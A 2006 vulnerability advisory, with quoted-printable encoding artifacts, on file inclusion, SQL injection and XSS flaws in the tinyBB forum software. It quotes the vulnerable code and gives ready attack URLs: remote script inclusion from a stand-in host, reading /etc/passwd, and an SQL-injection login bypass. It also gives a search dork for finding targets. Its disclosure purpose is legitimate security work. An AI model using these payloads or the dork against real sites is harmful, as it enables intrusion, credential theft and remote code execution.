Advisory: tinyBB <= 0.3 Multiple Remote Vulnerabilities.

[Mustafa Can Bjorn IPEKCI]

--Security Report--
Advisory: tinyBB <=3D 0.3 Multiple Remote Vulnerabilities.
---
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI
---
Date: 27/05/06 05:37 AM
---
Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}
---
Vendor: Epicdesigns (http://www.epicdesigns.co.uk/)
Version: 0.3 and prior versions must be affected.
About: Via this methods remote attacker can include arbitrary files to =20
tinyBB.tinybb_footers variable in
footers.php did not sanitized before using it.You can find vulnerable =20
code in footers.php at line 3
-Source in footers.php-
3: if (strlen($tinybb_footers) > 0) { require_once($tinybb_footers); }
-End of source-
Fixing this vulnerability so easy turn off register_globals.
There is also SQL injection in forgot.php.Parameter $q did not =20
sanitized properly before using it on SQL query.
You can find vulnerable codes in forgot.php at lines 3-18.
-Source in forgot.php-
3: if (isset($q)) {
4: $sql=3D"SELECT COUNT(*) FROM tinybb_members WHERE username=3D'$q' OR =20
email=3D'$q'";
5: $count =3D mysql_result(mysql_query($sql),0);
......
-End of source-
Also this can be caused to XSS.You can find vulnerable code in =20
forgot.php at line 19-21
-Source in forgot.php-
19: else {
20: echo "<p>The query <b>$q</b> could not be .....
21: }
-End of source-
There is another SQL injection in login.php.Parameters username and =20
password did not sanitized properly before using
it on SQL query.You can find vulnerable codes in login.php at line 2-8
-Source in login.php-
8: $sql=3D"SELECT count(*) FROM tinybb_members WHERE flag=3D'1' AND =20
username=3D'$username' AND password=3D'$password'";
-End of source-
I didnt wrote all vulnerabilities on tinyBB there is too many SQL =20
injections and XSS vulnerabilities on this tiny
bulletin board.
Level: Highly Critical
---
How&Example:
Succesful exploitation needs allow_url_fopen set to 1 and register_globals o=
n
GET -> http://[victim]/[tBBPath]/footers.php?tinybb_footers=3Devilscript
EXAMPLE -> =20
http://[victim]/[tBBPath]/footers.php?tinybb_footers=3Dhttp://yourhost.com/c=
md.txt?
If magic_quotes_gpc off remote attacker can include local files too
EXAMPLE -> http://[victim]/[tBBPath]/footers.php?tinybb_footers=3D/etc/passw=
d%00
SQL injection on login.php
GET -> =20
http://[victim]/[tBBPath]/login.php?username=3Dheh/**/or/**/isnull(1/0)/*&pa=
ssword=3Dnothing
---
Timeline:
* 27/05/2006: Vulnerability found.
* 27/05/2006: Contacted with vendor and waiting reply.
---
Exploit: http://www.nukedx.com/?getxpl=3D33
---
Original advisory can be found at: http://www.nukedx.com/?viewdoc=3D33
---
Dorks: "Powered by tinyBB"